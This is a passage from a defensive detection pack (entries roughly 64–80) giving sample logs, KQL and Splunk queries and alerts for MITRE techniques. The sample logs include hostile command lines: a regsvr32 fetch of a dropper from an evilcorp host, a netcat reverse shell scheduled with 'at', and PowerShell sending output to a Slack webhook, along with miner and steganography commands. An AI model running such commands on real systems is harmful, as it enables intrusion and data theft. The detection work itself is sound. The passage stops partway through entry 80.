KQL (Microsoft Sentinel – Sysmon + UEBA)

```
DeviceProcessEvents  
| where FileName == "powershell.exe"  
and ProcessCommandLine has "-enc"  
and TimeGenerated between(datetime(2025-07-09T00:00:00Z)..datetime(2025-07-  
09T06:00:00Z))  
| join kind=inner (  
    UEBAAlerts  
    | where AnomalyType has "off-hours"  
) on AccountName
```

## SPLUNK

```
index=sysmon OR index=ueba
| search Process="powershell.exe" CommandLine="*-enc*"
| where _time_hour < 6 OR _time_hour > 22
| stats count by User, Device, CommandLine, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Suspicious PowerShell Use After Hours

Severity: High

Description: nazmi.hakim@clientorg.com executed encoded PowerShell commands on CFO-LAPTOP-01 during restricted hours. Behaviour flagged as anomalous.

Recommended Action:

- Isolate endpoint and inspect PowerShell history
- Review task scheduler for persistence
- Trigger Just-In-Time access investigation
- Notify insider threat team

## **DETECTION PACK ENTRY 65**

**USE CASE: COVERT C2 VIA SLACK WEBHOOK**

**TACTIC: COMMAND AND CONTROL**

**TECHNIQUE: T1102.003 - WEB SERVICE: SLACK**

**ENVIRONMENT: PROXY + DNS LOGS + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Proxy Log

```
{  
  "Timestamp": "2025-07-09T03:42:12Z",  
  "User": "aiman.yazid@clientorg.com",  
  "Device": "RND-WS-22",  
  "URL": "https://hooks.slack.com/services/T01ABCDE/B02FGHIJK/payload",  
  "Method": "POST",  
  "Payload": "{'event':'cmd','value':'netstat -ano'}"  
}
```

Data Source: EDR (Outbound Web Process)

```
{  
  "Process": "powershell.exe",  
  "Command": "Invoke-RestMethod -Uri https://hooks.slack.com/... -Method POST",  
  "Parent": "cmd.exe",  
  "Device": "RND-WS-22"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – Proxy + Process Events)

```
DeviceProcessEvents  
| where FileName == "powershell.exe" and ProcessCommandLine contains "slack.com"  
| join kind=inner (  
  ProxyLogs  
  | where Url contains "hooks.slack.com"  
) on DeviceName
```

### **SPLUNK**

```
index=proxy_logs OR index=edr  
| search URL="*slack.com/services*" AND Command="*Invoke-RestMethod*"
```

```
| stats count by User, URL, Command, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Possible Command & Control via Slack Webhook

Severity: Critical

Description: User aiman.yazid@clientorg.com on RND-WS-22 executed PowerShell commands and exfiltrated output to Slack Webhook, suggesting use as covert C2 channel.

Recommended Action:

- Block webhook endpoint in proxy
- Examine if webhook is external vs company-owned
- Perform full EDR timeline review
- Alert blue team and IR team for potential breach

## **DETECTION PACK ENTRY 66**

**USE CASE: INSIDER ATTEMPT TO DELETE GITHUB REPO DURING RESIGNATION**

**TACTIC: IMPACT**

**TECHNIQUE: T1485 - DATA DESTRUCTION**

**ENVIRONMENT: GITHUB LOGS + HR EXIT FEED + SIEM**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GitHub Audit Log

```
{  
  "Timestamp": "2025-07-09T08:04:01Z",  
  "Actor": "amirulhafiz.dev",  
  "Repo": "clientorg/infra-config",  
  "Action": "repository.delete",  
  "Result": "Prevented – Org policy block",  
  "IP": "102.67.123.55"  
}
```

Data Source: HR Exit Feed

```
{  
  "User": "amirulhafiz.dev",  
  "Status": "Resignation notice",  
  "LastDay": "2025-07-10"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – GitHub + HR Feed)

```
DevOpsAuditLogs  
| where ActionName == "repository.delete"  
| join kind=inner (  
    HRExitFeed  
    | where Status == "Resignation notice"  
) on Actor  
| project Timestamp, Actor, Repo, ActionName, Result
```

### **SPLUNK**

index=github\_logs OR index=hr\_exit

```
| search Action="repository.delete"
| join Actor [
  search index=hr_exit Status="Resignation notice"
]
| stats count by Actor, Repo, Action, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Insider Attempted GitHub Repository Deletion

Severity: High

Description: Developer amirulhafiz.dev tried deleting infra-config repo a day before offboarding. Org policy blocked the action. Suggests pre-resignation sabotage attempt.

Recommended Action:

- Immediately revoke all GitHub access
- Notify HR and legal/compliance teams
- Review all repositories accessed by user
- Conduct forensic investigation on developer activity

## **DETECTION PACK ENTRY 67**

**USE CASE: CRYPTO MINING ON MISCONFIGURED KUBERNETES NODE**

**TACTIC: EXECUTION / RESOURCE HIJACKING**

**TECHNIQUE: T1496 - RESOURCE HIJACKING**

**ENVIRONMENT: KUBERNETES AUDIT LOGS + EDR + SYSMON + CLOUD**

**COST MONITORING**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Kube-Audit Logs

```
{  
  "Timestamp": "2025-07-09T09:13:48Z",  
  "User": "system:anonymous",  
  "Verb": "create",  
  "Namespace": "default",  
  "Resource": "pod",  
  "PodSpec": {  
    "Image": "ghcr.io/xmrmrminer/malnode:latest",  
    "Args": ["--url", "stratum+tcp://mine.supportxmr.com:3333"]  
  },  
  "Result": "Success"  
}
```

Data Source: EDR Process Logs

```
{  
  "Device": "k8s-node-03",  
  "User": "root",  
  "Process": "./xmrig",  
  "CPU_Usage": "98%",  
  "Duration": "4h 12m"  
}
```

## **DETECTION QUERY**

KQL (Sentinel – Kubernetes + Sysmon)

```
KubeAuditLogs  
| where PodSpec.Image has "xmrmrminer" or PodSpec.Args has "stratum"  
| join kind=inner (  
  DeviceProcessEvents  
  | where FileName == "xmrig" or CommandLine contains "stratum"
```

) on DeviceName

SPLUNK

```
index=kube_audit OR index=edr
| search PodSpec.Image="*xmrmminer*" OR Args="*stratum*"
| join Device [
    search index=edr Process="*xmrig*"
]
| stats count by Device, Image, Process, CPU_Usage, _time
```

#### **ALERT OUTPUT EXAMPLE**

Alert Name: Kubernetes Node Hijacked for Cryptocurrency Mining

Severity: Critical

Description: Anonymous access was used to deploy a pod running xmrig miner in the default namespace. CPU usage reached 98% on k8s-node-03.

Recommended Action:

- Immediately stop mining pod and isolate node
- Enforce Role-Based Access Control (RBAC)
- Disable anonymous access to Kube API
- Scan for other malicious workloads

## **DETECTION PACK ENTRY 68**

**USE CASE: SUSPICIOUS SYSTEM FILE REPLACEMENT VIA WINSXS ABUSE**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1036.005 - MASQUERADING: MATCH LEGITIMATE NAME OR LOCATION**

**ENVIRONMENT: WINDOWS + SYSMON + EDR + FILE INTEGRITY MONITORING**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 11 (File Create)

```
{  
    "Timestamp": "2025-07-09T10:45:12Z",  
    "FilePath": "C:\\Windows\\WinSxS\\x86_microsoft-windows-notepad_31bf3856ad364e35_10.0.19041.1_none_abc123\\notepad.exe",  
    "SHA256": "a8f3e... (malicious hash)",  
    "User": "harris.devops",  
    "Device": "ENG-WS-08"  
}
```

Data Source: EDR File Modification Alert

```
{  
    "File": "notepad.exe",  
    "Location": "WinSxS path",  
    "Action": "Modified",  
    "Origin": "C:\\Users\\harris.devops\\Desktop\\stager.exe"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Sysmon + EDR)

```
DeviceFileEvents  
| where FolderPath contains "WinSxS" and FileName == "notepad.exe"  
| where SHA256 != "<known legitimate hash>"  
| join kind=inner (  
    DeviceProcessEvents  
    | where InitiatingProcessFileName == "stager.exe"  
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=edr
| search FilePath="*WinSxS*" File="notepad.exe" SHA256!="legit_hash"
| join Device [
    search index=edr File="*stager.exe*"
]
| stats count by File, Device, SHA256, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: System Binary Replaced via WinSxS – Masquerading

Severity: High

Description: The legitimate notepad.exe binary was overwritten in the WinSxS directory using a stager payload. Indicates masquerading for persistence or evasion.

Recommended Action:

- Replace tampered binary with known good version
- Search for similar file replacements on the host
- Remove unauthorized tools from user profile
- Engage endpoint forensics if further tampering suspected

## **DETECTION PACK ENTRY 69**

**USE CASE: EDR TAMPERING – RENAMING TELEMETRY SERVICE EXECUTABLES**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1562.001 - IMPAIR DEFENSES: DISABLE OR MODIFY SECURITY TOOLS**

**ENVIRONMENT: EDR LOGS + SYSMON + WINDOWS SERVICE CONTROL MANAGER**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 13 (Registry Modification)

```
{  
    "Timestamp": "2025-07-09T11:22:10Z",  
    "RegistryKey": "HKLM\\SYSTEM\\CurrentControlSet\\Services\\EDRTelemetry",  
    "OldValue": "C:\\Program Files\\Vendor\\EDR\\telemetry.exe",  
    "newValue": "C:\\Temp\\telemetry-hide.exe",  
    "User": "fariz.sysadmin",  
    "Device": "SEC-WS-14"  
}
```

Data Source: EDR Heartbeat Logs

```
{  
    "Agent": "Offline",  
    "LastCheckin": "2025-07-09T11:22:15Z",  
    "Device": "SEC-WS-14",  
    "Notes": "Telemetry service not running"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – Registry + Agent Health)

```
DeviceRegistryEvents  
| where RegistryKey contains "EDRTelemetry"  
| join kind=inner (  
    EDRHeartbeat  
    | where Status == "Offline"  
) on DeviceName  
| project Timestamp, DeviceName, RegistryKey, NewValue, User
```

## SPLUNK

```
index=sysmon OR index=edr
| search RegistryKey="*EDRTelemetry*" AND NewValue="*hide*"
| join Device [
    search index=edr HeartbeatStatus="Offline"
]
| stats count by Device, User, NewValue, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: EDR Evasion via Executable Rename

Severity: Critical

Description: fariz.sysadmin modified the registry path for the EDR telemetry executable, causing the agent to stop reporting. Indicates an attempt to disable monitoring.

Recommended Action:

- Force reinstall EDR agent and run full scan
- Disable user access pending review
- Alert red team and begin full IR
- Check for lateral movement during blind spot

## **DETECTION PACK ENTRY 70**

**USE CASE: DATA STAGING IN HIDDEN APPDATA FOLDER PRIOR TO EXFILTRATION**

**TACTIC: COLLECTION / EXFILTRATION**

**TECHNIQUE: T1074.001 – LOCAL DATA STAGING**

**ENVIRONMENT: SYSMON + EDR + FILE INTEGRITY MONITORING (FIM)**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 11 (File Create)

```
{  
  "Timestamp": "2025-07-09T12:17:42Z",  
  "User": "nabil.radzi@clientorg.com",  
  "Device": "HR-WS-07",  
  "FilePath":  
    "C:\\\\Users\\\\nabil.radzi\\\\AppData\\\\Local\\\\Microsoft\\\\Hidden\\\\Q2Finance_Leak.zip",  
  "Size": "13.2 MB",  
  "SHA256": "32abcf5...ee7d9",  
  "Attributes": "Hidden"  
}
```

Data Source: EDR File Access Log

```
{  
  "Process": "powershell.exe",  
  "Action": "Compress-Archive",  
  "Target": "C:\\\\Users\\\\nabil.radzi\\\\Documents\\\\Finance\\\\*.xlsx",  
  "Output": "AppData\\\\Local\\\\Microsoft\\\\Hidden\\\\Q2Finance_Leak.zip"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – File Create + Process Events)

```
DeviceFileEvents  
| where FolderPath contains "AppData\\\\Local\\\\Microsoft\\\\Hidden"  
and FileName endswith ".zip"  
| join kind=inner (  
  DeviceProcessEvents  
  | where ProcessCommandLine contains "Compress-Archive"  
) on DeviceName
```

## SPLUNK

```
index=sysmon OR index=edr
| search FilePath="*AppData*\Hidden\*.zip"
| join Device [
    search index=edr Command="*Compress-Archive*"
]
| stats count by User, Device, FilePath, Command, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Local Data Staging Detected

Severity: High

Description: A ZIP archive named Q2Finance\_Leak.zip was staged in a hidden AppData folder by nabil.radzi@clientorg.com using PowerShell.

Recommended Action:

- Investigate if data matches sensitive classification
- Check for signs of upcoming exfiltration
- Audit user behaviour over past 7 days
- Alert DLP/IR team for containment

## **DETECTION PACK ENTRY 71**

**USE CASE: CREDENTIAL HARVESTING VIA BROWSER SQLITE FILES**

**TACTIC: CREDENTIAL ACCESS**

**TECHNIQUE: T1555.003 – CREDENTIALS FROM PASSWORD STORES**

**ENVIRONMENT: EDR + FILE ACCESS MONITORING**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: EDR File Access

```
{  
  "Timestamp": "2025-07-09T13:04:19Z",  
  "User": "safwan.rahman@clientorg.com",  
  "Process": "sqlitebrowser.exe",  
  "OpenedFile": "C:\\\\Users\\\\safwan.rahman\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User  
Data\\\\Default\\\\Login Data",  
  "Notes": "File contains saved credentials in SQLite format"  
}
```

Data Source: Process Timeline

```
{  
  "ProcessChain": ["cmd.exe" → "7z.exe" → "sqlitebrowser.exe"],  
  "CommandLine": "sqlitebrowser.exe Login Data",  
  "User": "safwan.rahman"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – File Access + Process Chain)

```
DeviceFileEvents  
| where FolderPath has "Chrome\\\\User Data\\\\Default\\\\Login Data"  
| join kind=inner (  
  DeviceProcessEvents  
  | where FileName == "sqlitebrowser.exe"  
) on DeviceName
```

### **SPLUNK**

```
index=edr  
| search File="*Login Data" AND Process="sqlitebrowser.exe"  
| stats count by User, File, CommandLine, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Attempt to Access Browser Stored Credentials

Severity: High

Description: sqlitebrowser.exe was used by safwan.rahman@clientorg.com to access Chrome's password storage file.

Recommended Action:

- Notify user's manager and suspend account for review
- Forensically analyse process chain and files copied
- Consider blocking SQLite browser apps via AppLocker
- Check for credential abuse across other endpoints

## **DETECTION PACK ENTRY 72**

**USE CASE: FILELESS ATTACK VIA LOLBINS AND SCHEDULED TASK CHAIN**

**TACTIC: EXECUTION / PERSISTENCE**

**TECHNIQUE: T1218 + T1053.005 – LIVING OFF THE LAND BINARIES + SCHEDULED TASK**

**ENVIRONMENT: SYMON + WINDOWS TASK SCHEDULER + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1 (Process Creation)

```
{  
  "Timestamp": "2025-07-09T14:26:55Z",  
  "Device": "SEC-WS-02",  
  "User": "azrul.aiman@clientorg.com",  
  "Process": "regsvr32.exe",  
  "CommandLine": "regsvr32 /s /n /u /i:https://cdn.evilcorp.ru/dropper.sct scrobj.dll"  
}
```

Data Source: Task Scheduler Log

```
{  
  "TaskName": "\OneDriveUpdater",  
  "Action": "regsvr32 dropper.sct",  
  "Trigger": "At logon",  
  "CreatedBy": "azrul.aiman@clientorg.com"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – LOLBins + Task Logs)

```
DeviceProcessEvents  
| where FileName == "regsvr32.exe" and ProcessCommandLine has "scrobj.dll"  
| join kind=inner (  
  ScheduledTaskLogs  
  | where TaskName contains "OneDriveUpdater"  
) on DeviceName
```

### **SPLUNK**

```
index=sysmon OR index=sched_tasks  
| search Process="regsvr32.exe" CommandLine="*scrobj.dll*"
```

```
| join Device [  
  search index=sched_tasks TaskName="*OneDriveUpdater*"  
]  
| stats count by User, Device, TaskName, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Fileless Execution via Regsvr32 and Scheduled Task

Severity: Critical

Description: A fileless script from an external host was executed using regsvr32.exe via a scheduled task OneDriveUpdater. Indicates LOLBin exploitation with persistence.

Recommended Action:

- Delete task and isolate device
- Check memory for loaded in-memory payloads
- Block regsvr32 with application control
- Inspect traffic to external host and alert red team

## **DETECTION PACK ENTRY 73**

**USE CASE: TAMPERING OF EMAIL AUDIT LOGS TO HIDE EXFILTRATION**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1565.002 – STORED DATA MANIPULATION: LOG TAMPERING**

**ENVIRONMENT: MICROSOFT 365 AUDIT LOGS + DEFENDER FOR OFFICE 365**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Unified Audit Log

```
{  
  "Timestamp": "2025-07-09T15:15:03Z",  
  "User": "sabrina.khalid@clientorg.com",  
  "Action": "Remove-AuditLog",  
  "Target": "ExportedMail.eml",  
  "Reason": "null",  
  "IPAddress": "45.13.91.200"  
}
```

Data Source: Defender for Office – Alert

```
{  
  "AlertType": "Audit Log Tampering Detected",  
  "User": "sabrina.khalid@clientorg.com",  
  "Anomaly": "Deleted recent export activity logs",  
  "Time": "2025-07-09T15:16:00Z"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – Office 365 Logs)

OfficeActivity

```
| where Operation == "Remove-AuditLog" and UserId endswith "@clientorg.com"  
| join kind=inner (  
  AlertInfo  
  | where AlertName == "Audit Log Tampering Detected"  
) on UserId
```

SPLUNK

index=m365\_logs OR index=o365\_alerts

```
| search Operation="Remove-AuditLog" AND AlertType="*Tampering*"  
| stats count by User, Action, Target, IPAddress, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Email Log Deletion to Conceal Exfiltration

Severity: Critical

Description: User sabrina.khalid@clientorg.com attempted to delete audit entries referencing recent email exports. Origin IP is external to corporate infrastructure.

Recommended Action:

- Lock mailbox and disable PowerShell access
- Review mail flow rules and export activities
- Notify compliance and begin investigation
- Restore deleted logs via retention recovery

## **DETECTION PACK ENTRY 74**

**USE CASE: ABUSE OF OAUTH TOKEN SCOPES FOR PERSISTENT CLOUD ACCESS**

**TACTIC: PERSISTENCE**

**TECHNIQUE: T1525 – IMPLANT CONTAINER IMAGE + OAUTH SCOPE ABUSE**

**ENVIRONMENT: AZURE AD + APP REGISTRATIONS + DEFENDER FOR CLOUD APPS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Azure AD Sign-In Logs

```
{  
  "Timestamp": "2025-07-09T16:02:11Z",  
  "AppID": "b476e4f9-xxxx-xxxx-xxxx-abcdefghijklm",  
  "AppName": "SecureLoginTool",  
  "GrantedPermissions": ["Mail.ReadWrite", "Files.ReadWrite.All", "User.ReadBasic.All"],  
  "ConsentType": "AdminConsent",  
  "GrantedBy": "huda.ops@clientorg.com",  
  "IP": "109.195.63.17"  
}
```

Data Source: Defender for Cloud Apps

```
{  
  "AlertType": "Unusual OAuth Grant",  
  "User": "huda.ops@clientorg.com",  
  "App": "SecureLoginTool",  
  "Permissions": "High-risk scope combination",  
  "Notes": "Consent granted outside expected geo"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – AAD + MCAS)

```
AADApplicationConsentEvents  
| where ConsentType == "AdminConsent" and Permissions has_any ("Mail.ReadWrite",  
"Files.ReadWrite.All")  
| join kind=inner (  
  CloudAppSecurity  
  | where AlertName == "Unusual OAuth Grant"
```

) on UserPrincipalName

SPLUNK

```
index=azure_ad OR index=defender_cloud_apps  
| search ConsentType="AdminConsent" Permissions="*ReadWrite*"  
| stats count by AppName, User, IP, Permissions, _time
```

#### **ALERT OUTPUT EXAMPLE**

Alert Name: Persistent Cloud Access via OAuth Scope Abuse

Severity: High

Description: The app SecureLoginTool received high-risk OAuth scopes through admin consent by huda.ops@clientorg.com. Activity originated from untrusted location.

Recommended Action:

- Revoke app token from Azure AD
- Disable user account pending review
- Conduct full audit of recent app grants
- Enable conditional access for all 3rd-party OAuth apps

## **DETECTION PACK ENTRY 75**

**USE CASE: MISCONFIGURED CLOUD BUCKET / DB LEFT PUBLICLY  
ACCESSIBLE**

**TACTIC: INITIAL ACCESS / DATA EXPOSURE**

**TECHNIQUE: T1530 – DATA FROM CLOUD STORAGE OBJECT**

**ENVIRONMENT: GCP / AWS / AZURE – STORAGE LOGS + EXTERNAL  
SCANNERS + SHADOW IT**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Cloud Storage Access Log (e.g., GCP Storage)

```
{  
  "Timestamp": "2025-07-09T16:45:05Z",  
  "Bucket": "clientorg-finance-backup",  
  "File": "client-portfolio-2025.csv",  
  "AccessType": "Public Read",  
  "SourceIP": "8.8.8.8",  
  "UserAgent": "AWS S3Scanner"  
}
```

Data Source: External Threat Intelligence Ping

```
{  
  "Tool": "BinaryEdge",  
  "Detected": "Public Google Bucket",  
  "URL": "http://storage.googleapis.com/clientorg-finance-backup/"  
}
```

## **DETECTION QUERY**

KQL (Microsoft Sentinel – Cloud Activity + Threat Intelligence)

```
StorageBlobLogs  
| where AccessType == "Public Read" and IPAddress != "<corp ranges>"  
| join kind=inner (  
    ThreatIntellIndicator  
    | where Description contains "Public bucket" or Tool contains "BinaryEdge"  
) on Url
```

## **SPLUNK**

index=cloud\_storage\_logs OR index=ti\_feed

```
| search AccessType="Public Read" File="*csv"  
| join URL [  
    search index=ti_feed Description="*Public bucket*"  
]  
| stats count by Bucket, File, IPAddress, URL, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Cloud Database or Bucket Exposed to Internet

Severity: High

Description: Storage bucket clientorg-finance-backup was publicly accessible and accessed via scanning tool from 8.8.8.8. File contained finance records.

Recommended Action:

- Remove public access from bucket immediately
- Rotate all credentials or tokens referenced in exposed file
- Alert data protection and compliance teams
- Perform external scan of other shadow storage assets

## **DETECTION PACK ENTRY 76**

**USE CASE: TOKEN REPLAY VIA SHARED PRINTER SPOOFING**

**TACTIC: CREDENTIAL ACCESS / LATERAL MOVEMENT**

**TECHNIQUE: T1550.002 – USE ALTERNATE AUTHENTICATION MATERIAL:**

**PASS THE TICKET**

**ENVIRONMENT: WINDOWS EVENT LOGS + SYSMON + PRINT SERVICE LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Windows Security Event ID 4624

```
{  
  "Timestamp": "2025-07-09T17:12:45Z",  
  "AccountName": "farah.azmi@clientorg.com",  
  "LogonType": "3 (Network)",  
  "WorkstationName": "PRINTER01",  
  "SourceNetworkAddress": "10.10.22.53",  
  "AuthenticationPackage": "Kerberos"  
}
```

Data Source: Sysmon Event ID 3 (Network Connection)

```
{  
  "Process": "spoolsv.exe",  
  "DestinationIP": "10.10.22.53",  
  "Port": "445",  
  "Command": "\\\\"10.10.22.53\\PRINTSHARE",  
  "Notes": "Unexpected printer share mount"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Windows Events + Sysmon)

```
SecurityEvent  
| where EventID == 4624 and LogonType == 3 and WorkstationName contains "PRINTER"  
| join kind=inner (  
  DeviceNetworkEvents  
  | where RemotePort == 445 and InitiatingProcessFileName == "spoolsv.exe"  
) on AccountName
```

SPLUNK

```
index=wineventlog OR index=sysmon
| search LogonType=3 WorkstationName="*PRINTER*"
| join AccountName [
    search index=sysmon Process="spoolsv.exe" Port=445
]
| stats count by AccountName, SourceNetworkAddress, Command, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Token Replay via Printer Spoofing

Severity: High

Description: Kerberos token for farah.azmi@clientorg.com reused via malicious print share on 10.10.22.53, potentially to impersonate user for lateral movement.

Recommended Action:

- Investigate IP 10.10.22.53 and validate device identity
- Review active tickets via klist on impacted host
- Block SMB inbound access to unknown printer shares
- Rotate Kerberos tickets and disable printer browsing

## **DETECTION PACK ENTRY 77**

**USE CASE: ABUSE OF ORPHANED CLOUD COMPUTE SNAPSHOTS**

**TACTIC: DISCOVERY / COLLECTION**

**TECHNIQUE: T1210 – EXPLOITATION OF REMOTE SERVICES**

**ENVIRONMENT: CLOUD PROVIDER APIS + STORAGE LOGS + IAM**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GCP API Log

```
{  
  "Timestamp": "2025-07-09T18:03:22Z",  
  "Actor": "anonymousUser",  
  "Action": "Compute.Disks.CreateFromSnapshot",  
  "Snapshot": "backup-finance-q1-2023",  
  "NewVMName": "temp-analysis-01",  
  "Region": "asia-southeast1"  
}
```

Data Source: Cloud IAM Log

```
{  
  "User": "anonymousUser",  
  "IAMCheck": "No owner assigned to snapshot",  
  "AccessType": "Permitted",  
  "Project": "clientorg-unmaintained"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Cloud API + IAM Logs)

```
CloudActivity  
| where ActivityName contains "CreateFromSnapshot" and UserName ==  
"anonymousUser"  
| where ResourceId contains "snapshot"  
| join kind=inner (  
  IAMAccessLogs  
  | where AccessType == "Permitted" and IAMCheck contains "No owner"  
) on ResourceId
```

SPLUNK

```
index=cloud_api_logs OR index=iam_logs
| search Action="*CreateFromSnapshot*" User="anonymousUser"
| join Snapshot [
    search index=iam_logs IAMCheck="*No owner*"
]
| stats count by Snapshot, NewVMName, Region, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Cloud Snapshot Exploited by External Actor

Severity: High

Description: Unowned GCP snapshot backup-finance-q1-2023 was used by anonymousUser to spin up a compute instance in asia-southeast1. Indicates misconfigured IAM policy.

Recommended Action:

- Immediately delete temp VM and snapshot
- Perform IAM review across all storage and compute assets
- Enable bucket object lifecycle enforcement
- Enforce owner tag policy and logging via automation

## **DETECTION PACK ENTRY 78**

**USE CASE: BRUTE-FORCE AGAINST LEGACY VPN USING LEAKED  
USERNAMES**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1110.003 – BRUTE FORCE: PASSWORD SPRAYING**

**ENVIRONMENT: VPN APPLIANCE LOGS + THREAT INTEL FEED + AD  
AUTHENTICATION**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: VPN Auth Logs

```
{  
  "Timestamp": "2025-07-09T18:55:41Z",  
  "Username": "syazwan123",  
  "Attempts": 35,  
  "Result": "Failed",  
  "ClientIP": "146.70.55.211",  
  "Device": "legacy-vpn.clientorg.com"  
}
```

Data Source: Threat Intel Feed

```
{  
  "IP": "146.70.55.211",  
  "Actor": "Trickdoor Group",  
  "Tags": ["Password Spray", "Leaked User Corpus 2022"]  
}
```

### **DETECTION QUERY**

KQL (Sentinel – VPN Logs + TI Integration)

```
VPNAuthenticationLogs  
| where FailureReason == "Invalid credentials" and Attempts > 20  
| join kind=inner (  
  ThreatIntelligenceIndicator  
  | where NetworkIP == ClientIP and Tags contains "Password Spray"  
) on ClientIP
```

### **SPLUNK**

index=vpn\_logs OR index=threatintel

```
| search Attempts>20 Result="Failed"  
| join ClientIP [  
    search index=threatintel Tags="Password Spray"  
]  
| stats count by Username, ClientIP, Attempts, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: VPN Brute-Force Using Leaked Usernames

Severity: Medium-High

Description: IP 146.70.55.211 linked to Trickdoor Group attempted login using leaked usernames against legacy-vpn.clientorg.com, failed 35 times.

Recommended Action:

- Geo-block source IP and enable CAPTCHA if possible
- Disable unused legacy accounts and enforce MFA
- Monitor VPN logs for successful follow-ups
- Cross-check with 2022 breach username corpus

## **DETECTION PACK ENTRY 79**

**USE CASE: STEGANOGRAPHIC EXFILTRATION VIA IMAGE UPLOADS**

**TACTIC: EXFILTRATION**

**TECHNIQUE: T1020.003 – EXFILTRATION OVER ALTERNATIVE PROTOCOL:**

**STEGANOGRAPHY**

**ENVIRONMENT: WEB PROXY + FILE UPLOAD LOGS + DLP + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Proxy File Upload Log

```
{  
  "Timestamp": "2025-07-09T19:22:17Z",  
  "User": "iqbal.fikri@clientorg.com",  
  "UploadSite": "imgur.com",  
  "Filename": "team_photo.png",  
  "Size": "4.5 MB",  
  "FileType": "PNG"  
}
```

Data Source: EDR File Creation Log

```
{  
  "Tool": "steghide.exe",  
  "CommandLine": "steghide embed -cf team_photo.png -ef finance.xlsx -p org123",  
  "CreatedBy": "iqbal.fikri",  
  "FileHash": "ab78e3f..."  
}
```

### **DETECTION QUERY**

KQL (Sentinel – File Access + Proxy Uploads)

DeviceFileEvents

```
| where FileName endswith ".png" and ProcessCommandLine contains "steghide"  
| join kind=inner (  
  ProxyLogs  
  | where Url contains "imgur.com" and HttpMethod == "POST"  
) on DeviceName
```

SPLUNK

```
index=edr OR index=proxy_logs
```

```
| search CommandLine="*steghide*" FileName="*.png"
| join User [
    search index=proxy_logs UploadSite="imgur.com" HttpMethod="POST"
]
| stats count by User, FileName, UploadSite, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Steganographic Data Exfiltration via Image

Severity: High

Description: User iqbali.fikri@clientorg.com embedded a spreadsheet inside a PNG image using steghide and uploaded it to Imgur.

Recommended Action:

- Block user account and isolate host
- Scan for other media files using entropy and stego detection
- Review DLP bypass attempts
- Engage incident response and notify data protection officer

## **DETECTION PACK ENTRY 80**

**USE CASE: LINUX PERSISTENCE VIA 'AT' JOB SCHEDULING**

**TACTIC: PERSISTENCE**

**TECHNIQUE: T1053.001 – SCHEDULED TASK/JOB: AT**

**ENVIRONMENT: SYSLOG + LINUX AUDITD + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Linux Syslog

```
{  
  "Timestamp": "2025-07-09T20:05:44Z",  
  "User": "reza.svc",  
  "Command": "echo '/usr/bin/nc -e /bin/bash 192.168.1.220 4444' | at now + 2 minutes",  
  "UID": 1001,  
  "Terminal": "pts/2"  
}
```

Data Source: EDR Process Monitoring

```
{  
  "Command": "nc -e /bin/bash 192.168.1.220 4444",  
  "ExecutionTime": "2025-07-09T20:07:50Z",  
  "Parent": "atd",  
  "Origin": "svc-reza-app"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Syslog + Linux EDR)

```
Syslog  
| where SyslogMessage contains "at now" and CommandLine contains "nc"  
| join kind=inner (  
  DeviceProcessEvents  
  | where ParentProcessName == "atd" and FileName == "nc"  
) on DeviceName
```

### **SPLUNK**

```
index=syslog OR index=linux_edr  
| search Command="*at now*" AND Command="*nc -e*"  
| join Device [
```

```
search index=linux_edr Parent="atd" Command="*nc*"  
]  
| stats count by User, Device, Command, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Reverse Shell Scheduled via 'at' Job

Severity: Critical

Description: Service account reza.svc used Linux at command to delay execution of a reverse shell using nc. The process was successfully invoked via atd.

Recommended Action:

- Kill any live shells or sessions from the source
